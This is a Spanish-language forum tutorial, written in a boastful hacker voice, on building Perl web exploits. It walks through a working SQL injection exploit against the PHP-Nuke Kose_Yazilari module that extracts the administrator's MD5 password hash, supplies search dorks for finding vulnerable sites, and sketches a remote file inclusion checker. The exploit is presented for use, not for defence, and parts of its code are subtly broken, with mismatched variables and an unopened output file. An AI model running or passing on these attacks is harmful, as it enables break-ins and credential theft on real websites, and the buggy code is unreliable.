Viendo que mucha gente quiere apreder hacer exploits eh decidido hacer este manual.
Para empezar es obvio que tengan instalado perl en sus sistema operativo , si sos windosero
necesitaras active perl
Ok , los modulos en perl estan hechos para facilitar nuestras tareas , en la creacion de un exploit
en perl se necesitara el modulo LWP::Simple
Con este podremos interactuar con webs mediante la funcion get()
Ejemplo:
Código:
Código: Seleccionar todo
use LWP::Simple;
$ruta = "http:/chairface.iespana.es/komela.htm";
$re = get($ruta);
if ($re =~/komemela/) {
print "OK\n";
} else {
print "Negative\n";
}
¿Que hace este script?
Primero llamamos al modulo LWP::Simple con use
Lo que estamos haciendo en este codigo es darle un valor a ruta donde le decimos
que debe ser el nombre de esa web.
Despues con la funcion get() cargamos la pagina con el valor de $ruta y guardando
el resultado de la funcion get() como $re
Despues comprobamos con un if que el resultado del codigo de la pagina como $ruta
sea komemela , si este es asi pondra OK de lo contrario pondra negative.
¿Como realizar un exploit?
Ok, para hacer un exploit comodo la idea es que el que lo quiera usar le sea facil la sintaxis
Para dar un ejemplo y explicar su funcion pondre un exploit que realize
Código:
Código: Seleccionar todo
#!usr/bin/perl
use LWP::UserAgent;
if(!$ARGV[0]) {
print q
(
0110
11111110
11111111110
011111111110
1111111111111
01111111111111
01111111111111
11111111111110 Visita guason-cracker.blogspot.com
11111111111111
00100011001100
00000111000110
00000111110101 Email = chairface_darkhat @hotmail.com
0111111111110
1111100011110
0000100001100
11111111110
0111111100
110 0100111000
111 0111111111 011
11110 111000111 01110
11111 00111110 11110
111110 001111 011110 Dork1 = ''name Kose_Yazilari op viewarticle artid''
11111111 000 11111111 Dork2 = ''name Kose_Yazilari op printpage artid''
11011110 111111001
011110 11111110
11100 0111110
1111111100
0111100
111101010
10 11011100 111100 0
111001111101 11111100110
1111111101 01111111110
11111110 01111110
111100 111100
0010 011
Sinopsis = auto-rusus.pl
Este exploit extrae pass MD5 del admin
Exploit escrito por Guason
);
exit 1;
}
my $web= $ARGV[0];
print "\n";
print "\n[+] Conectando con $host...\n";
my $cnx = LWP::UserAgent->new() or die;
my $go=$cnx->get($host."modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
");
print "[+] Explorando codigo fuente\n\n";
if ($go->content =~ /(\w{32})/){
print "\n\n";
print "[?] Password admin = $1\n";
print PASS "\n\nTarget vuln = $host\n\n";
print PASS "[?]Password admin = $1\n";
}
else {
print "\n\n[-]No se encontro pass\n\n";
}
Forma de uso = perl exploit.pl [Enlace externo eliminado para invitados]
¿Como hiciste esta mierda?
Lo que hace es extraer un user y un pass de una vulnerabiliad php nuke
Para empezar es necesario llamar al modulo use LWP::UserAgent de lo contrario obviamente no
funcionara.
Despues si falla el argumento principal que seria $ARGV[0] , el script imprimira mi logo guasonero
que es una calavera con la funcion print q() , despues de esto sale.
Pues claro, saldra mi logo si la funcion falla por falta de argumentos.
De lo contrario $ARGV[0] se lo guardaria como $web para hacerlo mas comodo , tambien imprimira
un mensaje "conectando con $host"
Código:
Código: Seleccionar todo
print "\n[+] Conectando con $web...\n";
my $cnx = LWP::UserAgent->new() ;
my $go=$cnx->get($web."modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
");
pagina victma. Obviemente guardare el resultado get en la variable $go.
Código:
Código: Seleccionar todo
if ($go->content =~ /(\w{32})/){
print "\n\n";
print "[?] Password admin = $1\n";
print PASS "\n\nTarget vuln = $host\n\n";
print PASS "[?]Password admin = $1\n";
}
else {
print "\n\n[-]No se encontro pass\n\n";
}
pues estoy hablando de nuestras amigas las "expresiones regulares"
Con un if verifico que el resultado de el get que hice que lo guarde en la variable $go tenga
el contenido de "w{32}" ¿Que quiere decir esto? . Esto es una expresion regular para extraer
cualquier cosa que tenga 32 digitos , obviamente extrae el hash buscarda , lo malo que es no
siempre la extrae ya que puede haber otras mierditas con 32 digitos en una pagina. Si en el content
no se encontro una cosita con 32 digitos que se llama hash mi script dira con un cruel else
que "no se encontro el pass".
Hay otros exploits que se pueden hacer como enfocados a RFI como mi rfi-checker , pues amo a esa
mierdita.
¿Como hacer un exploit enfocado a RFI?
Lo mas facil del mundo. Para verificar que una web sea vulnerable a rfi es que esta se redireccione a
otra pagina si esta responde con el codigo pedido pues es vulnerable.
Requisitos:
El modulo LWP::Simple;
Una web fija con una palabra fija
Ganas de hacerlo.
Para empezar llamamos el modulo
Código:
Código: Seleccionar todo
use LWP::Simple;
Despues necesitamos poner nuestra web con una palabra fija pues la mia dira "komemela" ,
esto es mas facil que redireccionar a una shell , pues algunas shell no funcionan del todo bien.
Código:
Código: Seleccionar todo
$ruta = "http:/chairface.iespana.es/komela.htm";
Código:
Código: Seleccionar todo
$re = get($ruta);
Código:
if ($re =~/komemela/) {
Si esta posee "komemela" imprimira con OK
Código:
Código: Seleccionar todo
print "OK\n";
Código:
Código: Seleccionar todo
} else {
print "Negative\n";
}
Autor: El Gran Guason
Saludos!